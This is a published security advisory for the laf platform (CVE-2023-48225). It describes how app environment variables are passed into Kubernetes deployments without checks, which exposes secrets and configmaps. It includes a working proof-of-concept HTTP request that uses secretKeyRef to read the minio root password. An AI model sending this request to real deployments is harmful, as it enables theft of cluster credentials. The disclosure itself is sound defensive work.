Skip to content

laf env causes sensitive information disclosure

High
maslow published GHSA-hv2g-gxx4-fwxp Dec 12, 2023

Package

laf

Affected versions

<v1.0.0-beta.13

Patched versions

None

Description

Summary

The control of LAF app enV is not strict enough, and in certain scenarios of privatization environment, it may lead to sensitive information leakage in secret and configmap.

Details

problem is at env crontroller and instance server

In ES6 syntax, if an obj directly references another obj, the name of the obj itself will be used as the key, and the entire object structure will be integrated intact.

When constructing the deployment instance of the app, env was found from the database and directly inserted into the template, resulting in controllability here.

Sensitive information in the secret and configmap can be read through the k8s envFrom field.

PoC

POST /v1/apps/fdk44h/environments  HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 279

[
    {
        "name": "SERVER_SECRET",
        "value": "xxxxxx"
    },
    {
        "name": "HIHIHI",
        "valueFrom": {
            "secretKeyRef": {
                "name": "minio",
                "key": "rootPassword"
            }
        },
        "value": ""
    }
]

Impact

In a privatization environment, when namespaceConf. fixed is marked, it may lead to the leakage of sensitive information in the system.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

CVE ID

CVE-2023-48225

Weaknesses

Credits